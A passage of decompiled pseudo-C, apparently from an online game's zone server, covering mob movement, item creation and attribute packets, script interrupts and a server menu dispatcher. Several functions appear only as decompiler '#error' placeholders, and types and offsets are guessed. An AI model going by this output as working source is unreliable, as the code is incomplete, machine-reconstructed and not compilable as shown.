>::iterator)v3->m_vecInterrupts._Mylast, 1u, &pScriptBase); } } //----- (004CC8C0) -------------------------------------------------------- bool __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Unit(ScriptInterrupt::ScriptInterruptManager *this, Name4 *index, PineScriptToken *exp, int num) { unsigned int v4; // eax@1 ScriptInterrupt::ScriptInterruptManager *v5; // edi@1 char *v6; // eax@1 const char *v7; // ST0C_4@1 ScriptInterrupt::ScriptInterruptRegisterManager *v8; // eax@1 ScriptInterrupt::ScriptInterruptBase *v9; // eax@1 bool result; // al@2 v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = this; v6 = (char *)&namestring + 256 * v4; *(_QWORD *)v6 = *(_QWORD *)&index->n4_name[0]; *((_DWORD *)v6 + 2) = *(_DWORD *)&index->n4_name[8]; v7 = v6; *((_DWORD *)v6 + 3) = *(_DWORD *)&index->n4_name[12]; v6[16] = 0; v8 = ScriptInterrupt::ScriptInterruptRegisterManager::GetInstance(); v9 = (ScriptInterrupt::ScriptInterruptBase *)ScriptInterrupt::ScriptInterruptRegisterManager::GetInterruptByName( v8, v7); if ( v9 ) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(v5, index, v9, exp, num); result = 1; } else { result = 0; } return result; } //----- (004CC960) -------------------------------------------------------- bool __thiscall NPCAction::SkillCondition::needToAttach(std::codecvt_base *this) { return 1; } //----- (004CC970) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_scene_MovePathSet(void *this, int locx, int locy, int stt) { void *v4; // esi@1 unsigned int v5; // eax@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_scene_MovePathSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_scene_MovePathSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *((_DWORD *)v4 + 1840); if ( v5 < 0x10 ) { *((_DWORD *)v4 + 3 * v5 + 1792) = locx; *((_DWORD *)v4 + 3 * *((_DWORD *)v4 + 1840) + 1793) = locy; *((_DWORD *)v4 + 3 * ((*((_DWORD *)v4 + 1840))++ + 598)) = stt; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_scene_MovePathSet"); } //----- (004CCA40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_MoveByScenario(void *this) { void *v1; // esi@1 int v2; // eax@1 unsigned int v3; // ecx@3 int v4; // edx@3 int v5; // eax@3 int v6; // edi@4 char *v7; // ecx@4 int v8; // eax@4 int v9; // ecx@4 unsigned int v10; // ecx@4 int v11; // edi@5 char *v12; // ecx@5 int v13; // eax@5 int v14; // ecx@5 unsigned int v15; // ecx@5 int v16; // ST04_4@6 int v17; // eax@6 signed int v18; // ecx@6 int v19; // eax@7 int v20; // edx@8 char *v21; // [sp+Ch] [bp-38h]@9 SHINE_XY_TYPE to; // [sp+24h] [bp-20h]@3 AxialListPacketBroadcast alchat; // [sp+2Ch] [bp-18h]@4 int v24; // [sp+40h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_MoveByScenario"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_MoveByScenario"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 1840); v24 = 0; if ( !v2 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1488))(v1) ) { v24 = -1; v21 = "ShineObjectClass::ShineMobileObject::smo_MoveByScenario"; } else { v3 = *((_DWORD *)v1 + 1793); v4 = *(_DWORD *)v1; to.x = *((_DWORD *)v1 + 1792); v5 = *((_DWORD *)v1 + 1794); to.y = v3; if ( v5 == 1 ) { v6 = (unsigned __int16)(*(int (__thiscall **)(void *))(v4 + 1280))(v1); (*(void (__thiscall **)(void *, SHINE_XY_TYPE *, int, signed int, _DWORD))(*(_DWORD *)v1 + 1560))( v1, &to, v6, 1, 0); v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8216; v8 = (int)(v7 + 2); *((_WORD *)v7 + 1) = *((_WORD *)v1 + 2); v9 = *(_DWORD *)((char *)v1 + 78); *(_DWORD *)(v8 + 2) = *(_DWORD *)v9; *(_DWORD *)(v8 + 6) = *(_DWORD *)(v9 + 4); *(_DWORD *)(v8 + 10) = to.x; v10 = to.y; *(_BYTE *)(v8 + 20) &= 0xFEu; *(_DWORD *)(v8 + 14) = v10; *(_WORD *)(v8 + 18) = v6; *((_WORD *)v1 + 51) = 24; *((_DWORD *)v1 + 26) = *(_DWORD *)v8; *((_DWORD *)v1 + 27) = *(_DWORD *)(v8 + 4); *((_DWORD *)v1 + 28) = *(_DWORD *)(v8 + 8); *((_DWORD *)v1 + 29) = *(_DWORD *)(v8 + 12); *((_DWORD *)v1 + 30) = *(_DWORD *)(v8 + 16); *((_WORD *)v1 + 62) = *(_WORD *)(v8 + 20); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 24); LOBYTE(v24) = 1; } else { v11 = (unsigned __int16)(*(int (__thiscall **)(void *))(v4 + 1284))(v1); (*(void (__thiscall **)(void *, SHINE_XY_TYPE *, int, signed int, _DWORD))(*(_DWORD *)v1 + 1560))( v1, &to, v11, 2, 0); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8218; v13 = (int)(v12 + 2); *((_WORD *)v12 + 1) = *((_WORD *)v1 + 2); v14 = *(_DWORD *)((char *)v1 + 78); *(_DWORD *)(v13 + 2) = *(_DWORD *)v14; *(_DWORD *)(v13 + 6) = *(_DWORD *)(v14 + 4); *(_DWORD *)(v13 + 10) = to.x; v15 = to.y; *(_BYTE *)(v13 + 20) &= 0xFEu; *(_DWORD *)(v13 + 14) = v15; *(_WORD *)(v13 + 18) = v11; *((_WORD *)v1 + 51) = 26; *((_DWORD *)v1 + 26) = *(_DWORD *)v13; *((_DWORD *)v1 + 27) = *(_DWORD *)(v13 + 4); *((_DWORD *)v1 + 28) = *(_DWORD *)(v13 + 8); *((_DWORD *)v1 + 29) = *(_DWORD *)(v13 + 12); *((_DWORD *)v1 + 30) = *(_DWORD *)(v13 + 16); *((_WORD *)v1 + 62) = *(_WORD *)(v13 + 20); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 24); LOBYTE(v24) = 2; } v16 = *(_DWORD *)((char *)v1 + 78); v17 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v17, v16, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v24) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v18 = 1; if ( *((_DWORD *)v1 + 1840) > 1 ) { v19 = (int)((char *)v1 + 7168); do { *(_DWORD *)v19 = *(_DWORD *)(v19 + 12); v20 = *(_DWORD *)(v19 + 20); *(_DWORD *)(v19 + 4) = *(_DWORD *)(v19 + 16); *(_DWORD *)(v19 + 8) = v20; ++v18; v19 += 12; } while ( v18 < *((_DWORD *)v1 + 1840) ); } --*((_DWORD *)v1 + 1840); v24 = -1; v21 = "ShineObjectClass::ShineMobileObject::smo_MoveByScenario"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); } //----- (004CCCC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_scene_CreateItem(void *this, int itemid) { void *v2; // ebx@1 int v3; // ST08_4@1 CServerInfo::MY_SERVER *v4; // eax@1 ItemAttributeClass *v5; // edi@5 char *v6; // [sp-8h] [bp-9Ch]@3 ItemTotalInformation iti; // [sp+14h] [bp-80h]@1 unsigned int v8; // [sp+84h] [bp-10h]@6 int v9; // [sp+90h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_scene_CreateItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_scene_CreateItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; v3 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v4 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum(&iti, 2, v4->nZoneNo, v3); iti.iti_itemstruct.itemid = itemid; if ( ItemDataBox::operator__(&itemdatabox, itemid) != 0 ) { if ( ItemDataBox::operator__(&itemdatabox, itemid)->data ) { v5 = ItemAttributeClassContainer::operator__(&itmattcontainer, itemid); v5->vfptr->iac_itemcreate( v5, itemid, &iti, (char *)&stru_5A4E3C.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); v5->vfptr->iac_SetLot(v5, &iti.iti_itemstruct, 1u); ShineObjectClass::ShinePlayer::sp_MakeItem(v2, *((_WORD *)v2 + 2), (int)&iti); v6 = "ShineObjectClass::ShinePlayer::so_scene_CreateItem"; goto LABEL_6; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_scene_CreateItem : Invalid item", (unsigned __int16)itemid); } v6 = "ShineObjectClass::ShinePlayer::so_scene_CreateItem"; LABEL_6: --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); __security_check_cookie(v8); } //----- (004CCE20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet(void *this, unsigned __int16 item, char *attr) { void *v3; // ebx@1 int v4; // edx@1 int v5; // esi@1 int v6; // eax@1 int v7; // edx@1 int v8; // ecx@1 int v9; // eax@2 int v10; // edx@4 InventoryLocking::InventoryCellLock *v11; // eax@4 ItemBagVtbl *v12; // eax@6 int v13; // eax@6 ItemAttributeClass *v14; // ebp@6 int v15; // edx@6 int v16; // eax@6 char *v17; // esi@6 int v18; // esi@6 int v19; // eax@6 ZoneBaseSession *v20; // eax@8 char *v21; // [sp+18h] [bp-C4h]@5 ITEM_INVEN inv; // [sp+2Ch] [bp-B0h]@6 int v23; // [sp+30h] [bp-ACh]@6 int iic; // [sp+34h] [bp-A8h]@6 ItemBoxIterIdent ibii; // [sp+38h] [bp-A4h]@1 InventoryLocking::UnlockedInventoryIterator uii; // [sp+4Ch] [bp-90h]@4 FunctionEntarance _; // [sp+58h] [bp-84h]@1 ItemTotalInformation iti; // [sp+5Ch] [bp-80h]@6 unsigned int v29; // [sp+CCh] [bp-10h]@10 int v30; // [sp+D8h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)v3; v30 = 0; v5 = (*(int (__thiscall **)(void *))(v4 + 1156))(v3); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1128))(v3); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = (ItemBag *)(v6 + 3368); v7 = *(_DWORD *)(v6 + 3368); v8 = v6 + 3368; if ( v5 ) v9 = (*(int (__thiscall **)(int, int))(v7 + 4))(v8, v5); else v9 = (*(int (__thiscall **)(int))(v7 + 8))(v8); ibii.baseclass_0.ibi_Limit = v9; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterIdent::_vftable_; ibii.ibii_ident = item; v10 = *(_DWORD *)v3; LOBYTE(v30) = 1; v11 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(void *))(v10 + 1916))(v3); uii.uii_Iterator = (ItemBoxIterator *)&ibii; uii.uii_LockList = v11; uii.uii_InvenType = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&uii) ) { v12 = uii.uii_Iterator->ibi_itembag->vfptr; v23 = uii.uii_Iterator->ibi_finger; v13 = ((int (__stdcall *)(int))v12->ib_GetInventoryCell)(v23); memcpy(&iti, (const void *)v13, 0x6Cu); *(_WORD *)((char *)&iti.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(v13 + 108); BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v13 + 110); iic = v13; v14 = ItemAttributeClassContainer::operator__(&itmattcontainer, iti.iti_itemstruct.itemid); v14->vfptr->iac_itemcreate(v14, *(_DWORD *)&iti.iti_itemstruct.itemid, &iti, attr); v15 = *((_DWORD *)v3 + 14434); HIWORD(v16) = 0; inv.Inven = v23 & 0x3FF | 0x2400; LOWORD(v16) = *((_WORD *)v3 + 28870); v23 = (int)((char *)v3 + 57736); (*(void (__stdcall **)(int, int, ItemTotalInformation *, ITEM_INVEN *, ITEM_INVEN *))(v15 + 48))( v16, iic, &iti, &inv, &inv); v17 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v17 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v17 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_WORD *)v17 + 4) = *((_WORD *)v3 + 28870); *(_QWORD *)(v17 + 10) = *(_QWORD *)&iti; *((_WORD *)v17 + 9) = iti.iti_itemstruct.itemid; memcpy(v17 + 20, &iti.iti_itemstruct.itemattr, 0x64u); v17[120] = BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y); v14->vfptr->iac_GetAttrSize(v14, &iti.iti_itemstruct.itemattr); v18 = v14->vfptr->iac_GetAttrSize(v14, &iti.iti_itemstruct.itemattr) + 20; v19 = v14->vfptr->iac_GetAttrSize(v14, &iti.iti_itemstruct.itemattr); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v19 + 20) ) { v20 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v20); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_scene_KQStepSet : Packet Too Long", v18); } ++*(_WORD *)(v23 + 4); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v21 = "ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet"; } else { ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v21 = "ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet"; } --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); __security_check_cookie(v29); } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87EC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (004CD0C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_scene_EraseItem(void *this, int itemid, int Num) { void *v3; // esi@1 __int16 v4; // bx@1 __int16 v5; // ax@1 int v6; // [sp+10h] [bp-1Ch]@0 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_scene_EraseItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_scene_EraseItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, *((_WORD *)v3 + 2), itemid, Num, 0); v4 = *((_WORD *)v3 + 2); v5 = (*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v3 + 1128))(v3, 8); ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, v4, itemid, v5, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_scene_EraseItem"); } // 4DBF10: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); //----- (004CD180) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_scene_EraseItem(ShineObjectClass::ShineDropItem *this, unsigned __int16 itemid, int Num) { ShineObjectClass::ShineDropItem *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_scene_EraseItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDropItem::so_scene_EraseItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 1328))(v3) + 8) == itemid ) (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 1332))(v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_scene_EraseItem"); } //----- (004CD230) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_scene_DetectRange(void *this, int range) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_scene_DetectRange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_scene_DetectRange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)(*((_DWORD *)v2 + 2052) + 16) = range; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_scene_DetectRange"); } //----- (004CD290) -------------------------------------------------------- #error "4CD290: undefined or illegal type '#325' (funcsize=102)" //----- (004CD3E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_scene_IsIdle(void *this) { void *v1; // esi@1 int v2; // edx@1 char result; // al@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_scene_IsIdle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_scene_IsIdle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( *((_DWORD *)v1 + 1781) ) { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_scene_IsIdle"); result = 0; } else { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_scene_IsIdle"); result = 1; } return result; } //----- (004CD490) -------------------------------------------------------- unsigned __int16 *__cdecl std::copy(unsigned __int16 *_First, unsigned __int16 *_Last, unsigned __int16 *_Dest) { int v3; // eax@1 memmove((char *)_Dest, (char *)_First, 2 * (_Last - _First)); return (unsigned __int16 *)(2 * (_Last - _First) + v3); } //----- (004CD4C0) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *this, int a2) { void *v2; // esi@1 char *v3; // ebx@2 int v4; // edx@3 void *result; // eax@6 unsigned __int16 *v6; // ecx@7 int v7; // ebp@8 int v8; // eax@11 int v9; // eax@15 int v10; // eax@19 unsigned __int16 *v11; // ebx@21 int v12; // ecx@24 int v13; // eax@25 v2 = this; if ( this == (void *)a2 ) return v2; v3 = *(char **)(a2 + 4); if ( !v3 || (v4 = (*(_DWORD *)(a2 + 8) - (signed int)v3) >> 1) == 0 ) { if ( *((_DWORD *)this + 1) ) operator delete(*((void **)this + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } v6 = (unsigned __int16 *)*((_DWORD *)this + 1); if ( v6 ) v7 = (*((_DWORD *)v2 + 2) - (signed int)v6) >> 1; else v7 = 0; if ( v4 <= (unsigned int)v7 ) { memmove((char *)v6, v3, 2 * ((*(_DWORD *)(a2 + 8) - (signed int)v3) >> 1)); v8 = *(_DWORD *)(a2 + 4); if ( v8 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 2 * ((*(_DWORD *)(a2 + 8) - v8) >> 1); result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v6 ) v9 = (*((_DWORD *)v2 + 3) - (signed int)v6) >> 1; else v9 = 0; if ( v4 > (unsigned int)v9 ) { if ( v6 ) operator delete(*((void **)v2 + 1)); v12 = *(_DWORD *)(a2 + 4); if ( v12 ) v13 = (*(_DWORD *)(a2 + 8) - v12) >> 1; else v13 = 0; if ( std::vector>::_Buy( (std::vector > *)v2, v13) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( *(char **)(a2 + 4), *(_DWORD *)(a2 + 8), *((char **)v2 + 1)); return v2; } if ( v6 ) v10 = (*((_DWORD *)v2 + 2) - (signed int)v6) >> 1; else v10 = 0; v11 = (unsigned __int16 *)(*(_DWORD *)(a2 + 4) + 2 * v10); std::copy(*(unsigned __int16 **)(a2 + 4), v11, *((unsigned __int16 **)v2 + 1)); *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (char *)v11, *(_DWORD *)(a2 + 8), *((char **)v2 + 2)); return v2; } //----- (004CD600) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_scene_SetWeaponRate(void *this, int rRates) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_scene_SetWeaponRate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_scene_SetWeaponRate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; std::vector>::operator_((char *)v2 + 8836, rRates); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_scene_SetWeaponRate"); } //----- (004CD6A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_LinkReplyCheck(int this, int lnkinf) { int v2; // eax@1 char result; // al@3 v2 = *(_DWORD *)(this + 68308); if ( v2 && *(_DWORD *)(v2 + 4) ) result = (*(int (**)(void))(**(_DWORD **)(v2 + 4) + 36))(); else result = 0; return result; } //----- (004CD6C0) -------------------------------------------------------- void __thiscall MoveManager::MoveManager(DiceTaiSai *this) { ; } //----- (004CD6D0) -------------------------------------------------------- char __thiscall ServerMenuActor::sma_IsReady(ServerMenuActor *this) { return this->sma_Subst == 0; } //----- (004CD6E0) -------------------------------------------------------- #error "4CD6E0: undefined or illegal type '#434' (funcsize=32)" //----- (004CD780) -------------------------------------------------------- #error "4CD780: undefined or illegal type '#434' (funcsize=90)" //----- (004CD8B0) -------------------------------------------------------- #error "4CD8B0: undefined or illegal type '#434' (funcsize=87)" //----- (004CD9F0) -------------------------------------------------------- #error "4CD9F0: undefined or illegal type '#434' (funcsize=39)" //----- (004CDAB0) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_DeleteInstanceDungeon(ServerMenuFuncter *this, #434 *a2, ServerMenuArgument *arg) { char *v3; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ServerMenuFuncter::smfm_DeleteInstanceDungeon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_DeleteInstanceDungeon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_DWORD *)(gpp.pp_Buffer + 5) = *(_DWORD *)&arg->sma_link.sml_lnkinf.index[4]; v3[9] = arg->sma_link.sml_lnkinf.index[0]; ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request(&zonringpack_emptyinstancedungeon, 0, (NETCOMMAND *)v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_DeleteInstanceDungeon"); } //----- (004CDB60) -------------------------------------------------------- #error "4CDB60: undefined or illegal type '#434' (funcsize=93)" //----- (004CDCD0) -------------------------------------------------------- #error "4CDCD0: undefined or illegal type '#434' (funcsize=48)" //----- (004CDD90) -------------------------------------------------------- void __thiscall ServerMenuActor::sma_Reset(ServerMenuActor *this) { ServerMenuActor *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuActor::sma_Reset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuActor::sma_Reset"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->sma_Selected[0].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #434 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[1].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #434 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[2].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #434 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[3].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #434 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[4].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #434 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[5].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #434 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[6].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #434 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[7].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #434 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[8].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #434 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Selected[9].smfunction = (void (__thiscall *)(ServerMenuFuncter *, #434 *, ServerMenuArgument *))ShineObjectClass::ShineObject::so_ply_AdminCommand; v1->sma_Subst = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuActor::sma_Reset"); } //----- (004CDE30) -------------------------------------------------------- void __thiscall ServerMenuActor::sma_Regist(ServerMenuActor *this, void (__thiscall *func)(ServerMenuFuncter *, #434 *, ServerMenuArgument *), ServerMenuArgument *sma) { ServerMenuActor *v3; // ebx@1 int v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuActor::sma_Regist"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuActor::sma_Regist"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->sma_Subst; if ( v4 < 10 ) { memcpy(&v3->sma_Selected[v4], sma, 0x68u); v3->sma_Selected[v3->sma_Subst++].smfunction = func; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuActor::sma_Regist"); } else { AssertClass::ac_AssertFail(&shineassert, "ServerMenuActor::sma_Regist : Too many regist", v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuActor::sma_Regist"); } } //----- (004CDF40) -------------------------------------------------------- void __thiscall ServerMenuActor::sma_Reply(ServerMenuActor *this, #434 *a2, char reply) { ServerMenuActor *v3; // ebx@1 int v4; // ecx@3 void (__thiscall *v5)(ServerMenuFuncter *, #434 *, ServerMenuArgument *); // ebp@3 char *v6; // [sp-14h] [bp-90h]@2 ServerMenuArgument arg; // [sp+4h] [bp-78h]@3 unsigned int v8; // [sp+6Ch] [bp-10h]@4 int v9; // [sp+78h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuActor::sma_Reply"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuActor::sma_Reply"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; if ( (unsigned __int8)reply < 0xAu ) { v4 = (unsigned __int8)reply; v5 = v3->sma_Selected[v4].smfunction; memcpy(&arg, &v3->sma_Selected[v4], 0x68u); ServerMenuActor::sma_Reset(v3); v5((ServerMenuFuncter *)&ServerMenuActor::sma_Functer, a2, &arg); v9 = -1; v6 = "ServerMenuActor::sma_Reply"; } else { AssertClass::ac_AssertFail(&shineassert, "ServerMenuActor::sma_Reply : Too many regist", (unsigned __int8)reply); ServerMenuActor::sma_Reset(v3); v9 = -1; v6 = "ServerMenuActor::sma_Reply"; } 